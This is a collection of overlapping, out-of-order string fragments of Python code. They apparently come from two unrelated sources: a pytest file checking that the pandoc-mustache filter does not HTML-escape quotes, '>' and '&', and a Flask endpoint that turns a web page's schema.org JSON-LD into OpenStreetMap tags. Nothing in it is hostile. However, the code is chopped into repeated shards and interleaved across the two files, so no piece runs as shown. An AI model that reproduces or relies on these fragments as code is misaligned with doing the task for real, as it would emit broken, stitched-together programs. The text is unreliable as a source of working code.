"myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output([\"pandoc\",",
"= subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test output",
"{} # Prepare file names doc['path'] = tmpdir.join(\"document.md\") template['path'] =",
"subprocess def test_escape_singlequote(tmpdir): # Define empty dictionaries doc = {}",
"= 'Hello {{place}}' template['content'] = \"place: world & universe\" #",
"file contents doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles']",
"= '''--- mustache: {mustachefile} --- ''' doc['mfiles'] = { \"mustachefile\":",
"os, subprocess def test_escape_singlequote(tmpdir): # Define empty dictionaries doc =",
"subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test output assert",
"for HTML is disabled. \"\"\" import os, subprocess def test_escape_singlequote(tmpdir):",
"= \"place: world > universe\" # Write contents to files",
"Test output assert output == \"Hello world > universe\\n\" def",
"} doc['text'] = 'Hello {{place}}' template['content'] = \"place: world '",
"files with open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) #",
"assert output == \"Hello world ' universe\\n\" def test_escape_gt(tmpdir): #",
"doc = {} template = {} # Prepare file names",
"output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test",
"# Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile} ---",
"\"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output",
"world > universe\\n\" def test_escape_ampersand(tmpdir): # Define empty dictionaries doc",
"open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc",
"== \"Hello world ' universe\\n\" def test_escape_gt(tmpdir): # Define empty",
"\"place: world & universe\" # Write contents to files with",
"\"\"\" import os, subprocess def test_escape_singlequote(tmpdir): # Define empty dictionaries",
"template['path'] } doc['text'] = 'Hello {{place}}' template['content'] = \"place: world",
"Define empty dictionaries doc = {} template = {} #",
"'Hello {{place}}' template['content'] = \"place: world ' universe\" # Write",
"mustache: {mustachefile} --- ''' doc['mfiles'] = { \"mustachefile\": template['path'] }",
"= {} template = {} # Prepare file names doc['path']",
"{ \"mustachefile\": template['path'] } doc['text'] = 'Hello {{place}}' template['content'] =",
"\"Hello world ' universe\\n\" def test_escape_gt(tmpdir): # Define empty dictionaries",
"{{place}}' template['content'] = \"place: world ' universe\" # Write contents",
"universal_newlines=True) # Test output assert output == \"Hello world '",
"tmpdir.join(\"template.yaml\") # Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile}",
"' universe\\n\" def test_escape_gt(tmpdir): # Define empty dictionaries doc =",
"doc['text'] = 'Hello {{place}}' template['content'] = \"place: world & universe\"",
"import os, subprocess def test_escape_singlequote(tmpdir): # Define empty dictionaries doc",
"# Define empty dictionaries doc = {} template = {}",
"\"place: world ' universe\" # Write contents to files with",
"Write contents to files with open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles']))",
"= 'Hello {{place}}' template['content'] = \"place: world ' universe\" #",
"{} template = {} # Prepare file names doc['path'] =",
"{{place}}' template['content'] = \"place: world > universe\" # Write contents",
"myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\",",
"universal_newlines=True) # Test output assert output == \"Hello world &",
"Run pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True)",
"{mustachefile} --- ''' doc['mfiles'] = { \"mustachefile\": template['path'] } doc['text']",
"characters for HTML is disabled. \"\"\" import os, subprocess def",
"is disabled. \"\"\" import os, subprocess def test_escape_singlequote(tmpdir): # Define",
"doc['mfiles'] = { \"mustachefile\": template['path'] } doc['text'] = 'Hello {{place}}'",
"' universe\" # Write contents to files with open(doc['path'].strpath, \"a\")",
"\"\"\" Test that escaping characters for HTML is disabled. \"\"\"",
"# Write contents to files with open(doc['path'].strpath, \"a\") as myfile:",
"'''--- mustache: {mustachefile} --- ''' doc['mfiles'] = { \"mustachefile\": template['path']",
"world & universe\" # Write contents to files with open(doc['path'].strpath,",
"Test that escaping characters for HTML is disabled. \"\"\" import",
"as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output =",
"universe\\n\" def test_escape_ampersand(tmpdir): # Define empty dictionaries doc = {}",
"test_escape_ampersand(tmpdir): # Define empty dictionaries doc = {} template =",
"template['content'] = \"place: world ' universe\" # Write contents to",
"doc['path'] = tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") # Prepare file contents",
"'Hello {{place}}' template['content'] = \"place: world > universe\" # Write",
"template['content'] = \"place: world > universe\" # Write contents to",
"doc['text'] = 'Hello {{place}}' template['content'] = \"place: world > universe\"",
"that escaping characters for HTML is disabled. \"\"\" import os,",
"universe\\n\" def test_escape_gt(tmpdir): # Define empty dictionaries doc = {}",
"def test_escape_ampersand(tmpdir): # Define empty dictionaries doc = {} template",
"myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath,",
"escaping characters for HTML is disabled. \"\"\" import os, subprocess",
"tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") # Prepare file contents doc['metadata'] =",
"--- ''' doc['mfiles'] = { \"mustachefile\": template['path'] } doc['text'] =",
"world ' universe\" # Write contents to files with open(doc['path'].strpath,",
"Prepare file contents doc['metadata'] = '''--- mustache: {mustachefile} --- '''",
"universal_newlines=True) # Test output assert output == \"Hello world >",
"template['path'].write(template['content']) # Run pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\",",
"\"Hello world > universe\\n\" def test_escape_ampersand(tmpdir): # Define empty dictionaries",
"# Test output assert output == \"Hello world & universe\\n\"",
"template['path'] = tmpdir.join(\"template.yaml\") # Prepare file contents doc['metadata'] = '''---",
"disabled. \"\"\" import os, subprocess def test_escape_singlequote(tmpdir): # Define empty",
"output assert output == \"Hello world ' universe\\n\" def test_escape_gt(tmpdir):",
"HTML is disabled. \"\"\" import os, subprocess def test_escape_singlequote(tmpdir): #",
"empty dictionaries doc = {} template = {} # Prepare",
"# Test output assert output == \"Hello world ' universe\\n\"",
"test_escape_gt(tmpdir): # Define empty dictionaries doc = {} template =",
"dictionaries doc = {} template = {} # Prepare file",
"doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles'] = {",
"to files with open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content'])",
"= {} # Prepare file names doc['path'] = tmpdir.join(\"document.md\") template['path']",
"''' doc['mfiles'] = { \"mustachefile\": template['path'] } doc['text'] = 'Hello",
"template = {} # Prepare file names doc['path'] = tmpdir.join(\"document.md\")",
"file names doc['path'] = tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") # Prepare",
"world > universe\" # Write contents to files with open(doc['path'].strpath,",
"# Run pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"],",
"Prepare file names doc['path'] = tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") #",
"pandoc output = subprocess.check_output([\"pandoc\", doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) #",
"= \"place: world ' universe\" # Write contents to files",
"\"--to=plain\"], universal_newlines=True) # Test output assert output == \"Hello world",
"# Prepare file names doc['path'] = tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\")",
"{{place}}' template['content'] = \"place: world & universe\" # Write contents",
"contents doc['metadata'] = '''--- mustache: {mustachefile} --- ''' doc['mfiles'] =",
"'Hello {{place}}' template['content'] = \"place: world & universe\" # Write",
"names doc['path'] = tmpdir.join(\"document.md\") template['path'] = tmpdir.join(\"template.yaml\") # Prepare file",
"def test_escape_gt(tmpdir): # Define empty dictionaries doc = {} template",
"} doc['text'] = 'Hello {{place}}' template['content'] = \"place: world >",
"output assert output == \"Hello world > universe\\n\" def test_escape_ampersand(tmpdir):",
"contents to files with open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text'])",
"universe\" # Write contents to files with open(doc['path'].strpath, \"a\") as",
"\"place: world > universe\" # Write contents to files with",
"doc['path'].strpath, \"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test output assert output",
"with open(doc['path'].strpath, \"a\") as myfile: myfile.write(doc['metadata'].format(**doc['mfiles'])) myfile.write(doc['text']) template['path'].write(template['content']) # Run",
"# Test output assert output == \"Hello world > universe\\n\"",
"= tmpdir.join(\"template.yaml\") # Prepare file contents doc['metadata'] = '''--- mustache:",
"> universe\" # Write contents to files with open(doc['path'].strpath, \"a\")",
"\"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test output assert output == \"Hello",
"output == \"Hello world ' universe\\n\" def test_escape_gt(tmpdir): # Define",
"= 'Hello {{place}}' template['content'] = \"place: world > universe\" #",
"\"--filter\", \"pandoc-mustache\", \"--to=plain\"], universal_newlines=True) # Test output assert output ==",
"assert output == \"Hello world > universe\\n\" def test_escape_ampersand(tmpdir): #",
"world ' universe\\n\" def test_escape_gt(tmpdir): # Define empty dictionaries doc",
"} doc['text'] = 'Hello {{place}}' template['content'] = \"place: world &",
"= { \"mustachefile\": template['path'] } doc['text'] = 'Hello {{place}}' template['content']",
"\"mustachefile\": template['path'] } doc['text'] = 'Hello {{place}}' template['content'] = \"place:"
] |
[
"data.get('address', {}).get('addressRegion') if address: tags['addr:state'] = address address = data.get('address',",
"jsonify, request from w3lib.html import get_base_url import extruct import requests",
"'Hotel': tags['tourism'] = 'hotel' elif schema_org_type == 'ExerciseGym': tags['leisure'] =",
"if not url: return jsonify(error=\"Must specify url parameter\"), 400 app.logger.info(\"Extracting",
"from %s\", r.status_code, url) return jsonify(error=\"Error fetching url\"), 502 base_url",
"address address = data.get('address', {}).get('postalCode') if address: tags['postcode'] = address",
"tags.get('servesCuisine') if serves_cuisine: cuisine = [] if 'Burgers' in serves_cuisine:",
"data.get('address', {}).get('streetAddress') if address: tags['addr:full'] = address address = data.get('address',",
"address: tags['addr:state'] = address address = data.get('address', {}).get('postalCode') if address:",
"telephone faxNumber = data.get('faxNumber') if faxNumber: tags['fax'] = faxNumber url",
"Casual' in serves_cuisine: tags['amenity'] = 'fast_food' elif schema_org_type == 'Hotel':",
"= address address = data.get('address', {}).get('addressCountry') if address: tags['addr:country'] =",
"schema_org_type = data.get('@type') if schema_org_type == 'Restaurant': tags['amenity'] = 'restaurant'",
"Flask(__name__) def extract_osm_tags(data): tags = {} schema_org_type = data.get('@type') if",
"for entry in data: suggested_tags.update(extract_osm_tags(entry)) output = { 'status': {",
"= data.get('address', {}).get('addressRegion') if address: tags['addr:state'] = address address =",
"address = data.get('address', {}).get('addressLocality') if address: tags['addr:city'] = address address",
"extruct import requests app = Flask(__name__) def extract_osm_tags(data): tags =",
"tags['addr:city'] = address address = data.get('address', {}).get('addressRegion') if address: tags['addr:state']",
"'BankOrCreditUnion': tags['amenity'] = 'bank' else: return {} address = data.get('address',",
"if address: tags['addr:country'] = address brand = data.get('brand') if brand:",
"json-ld from %s\", url) r = requests.get(url) if r.status_code !=",
"return {} address = data.get('address', {}).get('streetAddress') if address: tags['addr:full'] =",
"flask import Flask, jsonify, request from w3lib.html import get_base_url import",
"tags['addr:country'] = address brand = data.get('brand') if brand: tags['brand'] =",
"= tags.get('servesCuisine') if serves_cuisine: cuisine = [] if 'Burgers' in",
"r = requests.get(url) if r.status_code != 200: app.logger.info(\"HTTP %s from",
"'restaurant' serves_cuisine = tags.get('servesCuisine') if serves_cuisine: cuisine = [] if",
"url\"), 502 base_url = get_base_url(r.text, r.url) data = extruct.extract(r.text, base_url=base_url,",
"= data.get('@type') if schema_org_type == 'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine",
"name telephone = data.get('telephone') if telephone: tags['phone'] = telephone faxNumber",
"output = {} suggested_tags = {} for entry in data:",
"%s from %s\", r.status_code, url) return jsonify(error=\"Error fetching url\"), 502",
"address: tags['addr:country'] = address brand = data.get('brand') if brand: tags['brand']",
"url: tags['website'] = url return tags @app.route(\"/extract\") def extract(): url",
"{ 'url': url, 'success': len(suggested_tags) > 0, }, 'suggested_tags': suggested_tags,",
"= data.get('json-ld') output = {} suggested_tags = {} for entry",
"elif schema_org_type == 'BankOrCreditUnion': tags['amenity'] = 'bank' else: return {}",
"= data.get('telephone') if telephone: tags['phone'] = telephone faxNumber = data.get('faxNumber')",
"requests app = Flask(__name__) def extract_osm_tags(data): tags = {} schema_org_type",
"extract_osm_tags(data): tags = {} schema_org_type = data.get('@type') if schema_org_type ==",
"return tags @app.route(\"/extract\") def extract(): url = request.args.get('url') if not",
"= data.get('address', {}).get('addressCountry') if address: tags['addr:country'] = address brand =",
"serves_cuisine: cuisine.append('burger') if 'Fast Casual' in serves_cuisine: tags['amenity'] = 'fast_food'",
"tags['fax'] = faxNumber url = data.get('url') if url: tags['website'] =",
"request from w3lib.html import get_base_url import extruct import requests app",
"address = data.get('address', {}).get('streetAddress') if address: tags['addr:full'] = address address",
"{}).get('streetAddress') if address: tags['addr:full'] = address address = data.get('address', {}).get('addressLocality')",
"= extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld') output = {}",
"= 'bank' else: return {} address = data.get('address', {}).get('streetAddress') if",
"address: tags['addr:full'] = address address = data.get('address', {}).get('addressLocality') if address:",
"= name telephone = data.get('telephone') if telephone: tags['phone'] = telephone",
"data = data.get('json-ld') output = {} suggested_tags = {} for",
"= faxNumber url = data.get('url') if url: tags['website'] = url",
"tags @app.route(\"/extract\") def extract(): url = request.args.get('url') if not url:",
"'success': len(suggested_tags) > 0, }, 'suggested_tags': suggested_tags, } if request.args.get('include_extracted',",
"url, 'success': len(suggested_tags) > 0, }, 'suggested_tags': suggested_tags, } if",
"url = data.get('url') if url: tags['website'] = url return tags",
"{} suggested_tags = {} for entry in data: suggested_tags.update(extract_osm_tags(entry)) output",
"if serves_cuisine: cuisine = [] if 'Burgers' in serves_cuisine: cuisine.append('burger')",
"address = data.get('address', {}).get('addressRegion') if address: tags['addr:state'] = address address",
"from w3lib.html import get_base_url import extruct import requests app =",
"'suggested_tags': suggested_tags, } if request.args.get('include_extracted', type=bool): output['extracted'] = data return",
"schema_org_type == 'Hotel': tags['tourism'] = 'hotel' elif schema_org_type == 'ExerciseGym':",
"request.args.get('url') if not url: return jsonify(error=\"Must specify url parameter\"), 400",
"!= 200: app.logger.info(\"HTTP %s from %s\", r.status_code, url) return jsonify(error=\"Error",
"> 0, }, 'suggested_tags': suggested_tags, } if request.args.get('include_extracted', type=bool): output['extracted']",
"specify url parameter\"), 400 app.logger.info(\"Extracting json-ld from %s\", url) r",
"url return tags @app.route(\"/extract\") def extract(): url = request.args.get('url') if",
"telephone: tags['phone'] = telephone faxNumber = data.get('faxNumber') if faxNumber: tags['fax']",
"from flask import Flask, jsonify, request from w3lib.html import get_base_url",
"'hotel' elif schema_org_type == 'ExerciseGym': tags['leisure'] = 'fitness_centre' elif schema_org_type",
"address = data.get('address', {}).get('postalCode') if address: tags['postcode'] = address address",
"address: tags['addr:city'] = address address = data.get('address', {}).get('addressRegion') if address:",
"= data.get('faxNumber') if faxNumber: tags['fax'] = faxNumber url = data.get('url')",
"= address address = data.get('address', {}).get('addressLocality') if address: tags['addr:city'] =",
"= data.get('url') if url: tags['website'] = url return tags @app.route(\"/extract\")",
"{} for entry in data: suggested_tags.update(extract_osm_tags(entry)) output = { 'status':",
"in serves_cuisine: cuisine.append('burger') if 'Fast Casual' in serves_cuisine: tags['amenity'] =",
"%s\", r.status_code, url) return jsonify(error=\"Error fetching url\"), 502 base_url =",
"data.get('address', {}).get('addressLocality') if address: tags['addr:city'] = address address = data.get('address',",
"{}).get('addressLocality') if address: tags['addr:city'] = address address = data.get('address', {}).get('addressRegion')",
"url: return jsonify(error=\"Must specify url parameter\"), 400 app.logger.info(\"Extracting json-ld from",
"= address address = data.get('address', {}).get('addressRegion') if address: tags['addr:state'] =",
"extract(): url = request.args.get('url') if not url: return jsonify(error=\"Must specify",
"data.get('name') if name: tags['name'] = name telephone = data.get('telephone') if",
"len(suggested_tags) > 0, }, 'suggested_tags': suggested_tags, } if request.args.get('include_extracted', type=bool):",
"{}).get('addressCountry') if address: tags['addr:country'] = address brand = data.get('brand') if",
"502 base_url = get_base_url(r.text, r.url) data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"])",
"400 app.logger.info(\"Extracting json-ld from %s\", url) r = requests.get(url) if",
"'fast_food' elif schema_org_type == 'Hotel': tags['tourism'] = 'hotel' elif schema_org_type",
"schema_org_type == 'ExerciseGym': tags['leisure'] = 'fitness_centre' elif schema_org_type == 'BankOrCreditUnion':",
"data.get('faxNumber') if faxNumber: tags['fax'] = faxNumber url = data.get('url') if",
"if address: tags['postcode'] = address address = data.get('address', {}).get('addressCountry') if",
"200: app.logger.info(\"HTTP %s from %s\", r.status_code, url) return jsonify(error=\"Error fetching",
"get_base_url(r.text, r.url) data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld')",
"if address: tags['addr:full'] = address address = data.get('address', {}).get('addressLocality') if",
"= data.get('address', {}).get('addressLocality') if address: tags['addr:city'] = address address =",
"name = data.get('name') if name: tags['name'] = name telephone =",
"data: suggested_tags.update(extract_osm_tags(entry)) output = { 'status': { 'url': url, 'success':",
"else: return {} address = data.get('address', {}).get('streetAddress') if address: tags['addr:full']",
"schema_org_type == 'BankOrCreditUnion': tags['amenity'] = 'bank' else: return {} address",
"0, }, 'suggested_tags': suggested_tags, } if request.args.get('include_extracted', type=bool): output['extracted'] =",
"data.get('@type') if schema_org_type == 'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine =",
"'bank' else: return {} address = data.get('address', {}).get('streetAddress') if address:",
"if faxNumber: tags['fax'] = faxNumber url = data.get('url') if url:",
"not url: return jsonify(error=\"Must specify url parameter\"), 400 app.logger.info(\"Extracting json-ld",
"def extract_osm_tags(data): tags = {} schema_org_type = data.get('@type') if schema_org_type",
"tags['website'] = url return tags @app.route(\"/extract\") def extract(): url =",
"return jsonify(error=\"Must specify url parameter\"), 400 app.logger.info(\"Extracting json-ld from %s\",",
"= 'hotel' elif schema_org_type == 'ExerciseGym': tags['leisure'] = 'fitness_centre' elif",
"r.status_code, url) return jsonify(error=\"Error fetching url\"), 502 base_url = get_base_url(r.text,",
"url) r = requests.get(url) if r.status_code != 200: app.logger.info(\"HTTP %s",
"r.url) data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld') output",
"== 'BankOrCreditUnion': tags['amenity'] = 'bank' else: return {} address =",
"= Flask(__name__) def extract_osm_tags(data): tags = {} schema_org_type = data.get('@type')",
"serves_cuisine: tags['amenity'] = 'fast_food' elif schema_org_type == 'Hotel': tags['tourism'] =",
"if name: tags['name'] = name telephone = data.get('telephone') if telephone:",
"== 'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine = tags.get('servesCuisine') if serves_cuisine:",
"{}).get('addressRegion') if address: tags['addr:state'] = address address = data.get('address', {}).get('postalCode')",
"base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld') output = {} suggested_tags =",
"tags['postcode'] = address address = data.get('address', {}).get('addressCountry') if address: tags['addr:country']",
"def extract(): url = request.args.get('url') if not url: return jsonify(error=\"Must",
"faxNumber: tags['fax'] = faxNumber url = data.get('url') if url: tags['website']",
"suggested_tags.update(extract_osm_tags(entry)) output = { 'status': { 'url': url, 'success': len(suggested_tags)",
"tags['amenity'] = 'restaurant' serves_cuisine = tags.get('servesCuisine') if serves_cuisine: cuisine =",
"brand: tags['brand'] = brand name = data.get('name') if name: tags['name']",
"Flask, jsonify, request from w3lib.html import get_base_url import extruct import",
"= 'fast_food' elif schema_org_type == 'Hotel': tags['tourism'] = 'hotel' elif",
"= [] if 'Burgers' in serves_cuisine: cuisine.append('burger') if 'Fast Casual'",
"address address = data.get('address', {}).get('addressLocality') if address: tags['addr:city'] = address",
"get_base_url import extruct import requests app = Flask(__name__) def extract_osm_tags(data):",
"data.get('json-ld') output = {} suggested_tags = {} for entry in",
"faxNumber url = data.get('url') if url: tags['website'] = url return",
"= 'restaurant' serves_cuisine = tags.get('servesCuisine') if serves_cuisine: cuisine = []",
"name: tags['name'] = name telephone = data.get('telephone') if telephone: tags['phone']",
"= telephone faxNumber = data.get('faxNumber') if faxNumber: tags['fax'] = faxNumber",
"app.logger.info(\"Extracting json-ld from %s\", url) r = requests.get(url) if r.status_code",
"{ 'status': { 'url': url, 'success': len(suggested_tags) > 0, },",
"= data.get('address', {}).get('streetAddress') if address: tags['addr:full'] = address address =",
"import Flask, jsonify, request from w3lib.html import get_base_url import extruct",
"if schema_org_type == 'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine = tags.get('servesCuisine')",
"parameter\"), 400 app.logger.info(\"Extracting json-ld from %s\", url) r = requests.get(url)",
"= requests.get(url) if r.status_code != 200: app.logger.info(\"HTTP %s from %s\",",
"brand = data.get('brand') if brand: tags['brand'] = brand name =",
"%s\", url) r = requests.get(url) if r.status_code != 200: app.logger.info(\"HTTP",
"tags['addr:state'] = address address = data.get('address', {}).get('postalCode') if address: tags['postcode']",
"= {} schema_org_type = data.get('@type') if schema_org_type == 'Restaurant': tags['amenity']",
"= 'fitness_centre' elif schema_org_type == 'BankOrCreditUnion': tags['amenity'] = 'bank' else:",
"'url': url, 'success': len(suggested_tags) > 0, }, 'suggested_tags': suggested_tags, }",
"'status': { 'url': url, 'success': len(suggested_tags) > 0, }, 'suggested_tags':",
"= request.args.get('url') if not url: return jsonify(error=\"Must specify url parameter\"),",
"import requests app = Flask(__name__) def extract_osm_tags(data): tags = {}",
"}, 'suggested_tags': suggested_tags, } if request.args.get('include_extracted', type=bool): output['extracted'] = data",
"output = { 'status': { 'url': url, 'success': len(suggested_tags) >",
"suggested_tags = {} for entry in data: suggested_tags.update(extract_osm_tags(entry)) output =",
"= url return tags @app.route(\"/extract\") def extract(): url = request.args.get('url')",
"faxNumber = data.get('faxNumber') if faxNumber: tags['fax'] = faxNumber url =",
"serves_cuisine = tags.get('servesCuisine') if serves_cuisine: cuisine = [] if 'Burgers'",
"url parameter\"), 400 app.logger.info(\"Extracting json-ld from %s\", url) r =",
"= brand name = data.get('name') if name: tags['name'] = name",
"= address brand = data.get('brand') if brand: tags['brand'] = brand",
"address = data.get('address', {}).get('addressCountry') if address: tags['addr:country'] = address brand",
"if url: tags['website'] = url return tags @app.route(\"/extract\") def extract():",
"if 'Burgers' in serves_cuisine: cuisine.append('burger') if 'Fast Casual' in serves_cuisine:",
"extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld') output = {} suggested_tags",
"= { 'status': { 'url': url, 'success': len(suggested_tags) > 0,",
"schema_org_type == 'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine = tags.get('servesCuisine') if",
"tags = {} schema_org_type = data.get('@type') if schema_org_type == 'Restaurant':",
"tags['amenity'] = 'fast_food' elif schema_org_type == 'Hotel': tags['tourism'] = 'hotel'",
"app = Flask(__name__) def extract_osm_tags(data): tags = {} schema_org_type =",
"telephone = data.get('telephone') if telephone: tags['phone'] = telephone faxNumber =",
"w3lib.html import get_base_url import extruct import requests app = Flask(__name__)",
"'Fast Casual' in serves_cuisine: tags['amenity'] = 'fast_food' elif schema_org_type ==",
"= {} for entry in data: suggested_tags.update(extract_osm_tags(entry)) output = {",
"{} schema_org_type = data.get('@type') if schema_org_type == 'Restaurant': tags['amenity'] =",
"elif schema_org_type == 'Hotel': tags['tourism'] = 'hotel' elif schema_org_type ==",
"from %s\", url) r = requests.get(url) if r.status_code != 200:",
"if address: tags['addr:state'] = address address = data.get('address', {}).get('postalCode') if",
"base_url = get_base_url(r.text, r.url) data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data",
"if 'Fast Casual' in serves_cuisine: tags['amenity'] = 'fast_food' elif schema_org_type",
"in serves_cuisine: tags['amenity'] = 'fast_food' elif schema_org_type == 'Hotel': tags['tourism']",
"address address = data.get('address', {}).get('addressCountry') if address: tags['addr:country'] = address",
"data.get('telephone') if telephone: tags['phone'] = telephone faxNumber = data.get('faxNumber') if",
"= get_base_url(r.text, r.url) data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data =",
"{} address = data.get('address', {}).get('streetAddress') if address: tags['addr:full'] = address",
"= address address = data.get('address', {}).get('postalCode') if address: tags['postcode'] =",
"in data: suggested_tags.update(extract_osm_tags(entry)) output = { 'status': { 'url': url,",
"address brand = data.get('brand') if brand: tags['brand'] = brand name",
"elif schema_org_type == 'ExerciseGym': tags['leisure'] = 'fitness_centre' elif schema_org_type ==",
"data = extruct.extract(r.text, base_url=base_url, syntaxes=[\"json-ld\"]) data = data.get('json-ld') output =",
"if r.status_code != 200: app.logger.info(\"HTTP %s from %s\", r.status_code, url)",
"requests.get(url) if r.status_code != 200: app.logger.info(\"HTTP %s from %s\", r.status_code,",
"[] if 'Burgers' in serves_cuisine: cuisine.append('burger') if 'Fast Casual' in",
"return jsonify(error=\"Error fetching url\"), 502 base_url = get_base_url(r.text, r.url) data",
"cuisine = [] if 'Burgers' in serves_cuisine: cuisine.append('burger') if 'Fast",
"== 'Hotel': tags['tourism'] = 'hotel' elif schema_org_type == 'ExerciseGym': tags['leisure']",
"serves_cuisine: cuisine = [] if 'Burgers' in serves_cuisine: cuisine.append('burger') if",
"cuisine.append('burger') if 'Fast Casual' in serves_cuisine: tags['amenity'] = 'fast_food' elif",
"= {} suggested_tags = {} for entry in data: suggested_tags.update(extract_osm_tags(entry))",
"tags['tourism'] = 'hotel' elif schema_org_type == 'ExerciseGym': tags['leisure'] = 'fitness_centre'",
"fetching url\"), 502 base_url = get_base_url(r.text, r.url) data = extruct.extract(r.text,",
"entry in data: suggested_tags.update(extract_osm_tags(entry)) output = { 'status': { 'url':",
"jsonify(error=\"Must specify url parameter\"), 400 app.logger.info(\"Extracting json-ld from %s\", url)",
"data.get('url') if url: tags['website'] = url return tags @app.route(\"/extract\") def",
"'ExerciseGym': tags['leisure'] = 'fitness_centre' elif schema_org_type == 'BankOrCreditUnion': tags['amenity'] =",
"tags['brand'] = brand name = data.get('name') if name: tags['name'] =",
"suggested_tags, } if request.args.get('include_extracted', type=bool): output['extracted'] = data return jsonify(output)",
"@app.route(\"/extract\") def extract(): url = request.args.get('url') if not url: return",
"jsonify(error=\"Error fetching url\"), 502 base_url = get_base_url(r.text, r.url) data =",
"== 'ExerciseGym': tags['leisure'] = 'fitness_centre' elif schema_org_type == 'BankOrCreditUnion': tags['amenity']",
"brand name = data.get('name') if name: tags['name'] = name telephone",
"if telephone: tags['phone'] = telephone faxNumber = data.get('faxNumber') if faxNumber:",
"= data.get('brand') if brand: tags['brand'] = brand name = data.get('name')",
"import extruct import requests app = Flask(__name__) def extract_osm_tags(data): tags",
"if brand: tags['brand'] = brand name = data.get('name') if name:",
"app.logger.info(\"HTTP %s from %s\", r.status_code, url) return jsonify(error=\"Error fetching url\"),",
"url) return jsonify(error=\"Error fetching url\"), 502 base_url = get_base_url(r.text, r.url)",
"import get_base_url import extruct import requests app = Flask(__name__) def",
"'Restaurant': tags['amenity'] = 'restaurant' serves_cuisine = tags.get('servesCuisine') if serves_cuisine: cuisine",
"'fitness_centre' elif schema_org_type == 'BankOrCreditUnion': tags['amenity'] = 'bank' else: return",
"= data.get('name') if name: tags['name'] = name telephone = data.get('telephone')",
"tags['name'] = name telephone = data.get('telephone') if telephone: tags['phone'] =",
"syntaxes=[\"json-ld\"]) data = data.get('json-ld') output = {} suggested_tags = {}",
"address address = data.get('address', {}).get('addressRegion') if address: tags['addr:state'] = address",
"tags['amenity'] = 'bank' else: return {} address = data.get('address', {}).get('streetAddress')",
"if address: tags['addr:city'] = address address = data.get('address', {}).get('addressRegion') if",
"address: tags['postcode'] = address address = data.get('address', {}).get('addressCountry') if address:",
"url = request.args.get('url') if not url: return jsonify(error=\"Must specify url",
"{}).get('postalCode') if address: tags['postcode'] = address address = data.get('address', {}).get('addressCountry')",
"data.get('brand') if brand: tags['brand'] = brand name = data.get('name') if",
"r.status_code != 200: app.logger.info(\"HTTP %s from %s\", r.status_code, url) return",
"data.get('address', {}).get('addressCountry') if address: tags['addr:country'] = address brand = data.get('brand')",
"'Burgers' in serves_cuisine: cuisine.append('burger') if 'Fast Casual' in serves_cuisine: tags['amenity']",
"tags['phone'] = telephone faxNumber = data.get('faxNumber') if faxNumber: tags['fax'] =",
"data.get('address', {}).get('postalCode') if address: tags['postcode'] = address address = data.get('address',",
"tags['leisure'] = 'fitness_centre' elif schema_org_type == 'BankOrCreditUnion': tags['amenity'] = 'bank'",
"tags['addr:full'] = address address = data.get('address', {}).get('addressLocality') if address: tags['addr:city']",
"= data.get('address', {}).get('postalCode') if address: tags['postcode'] = address address ="
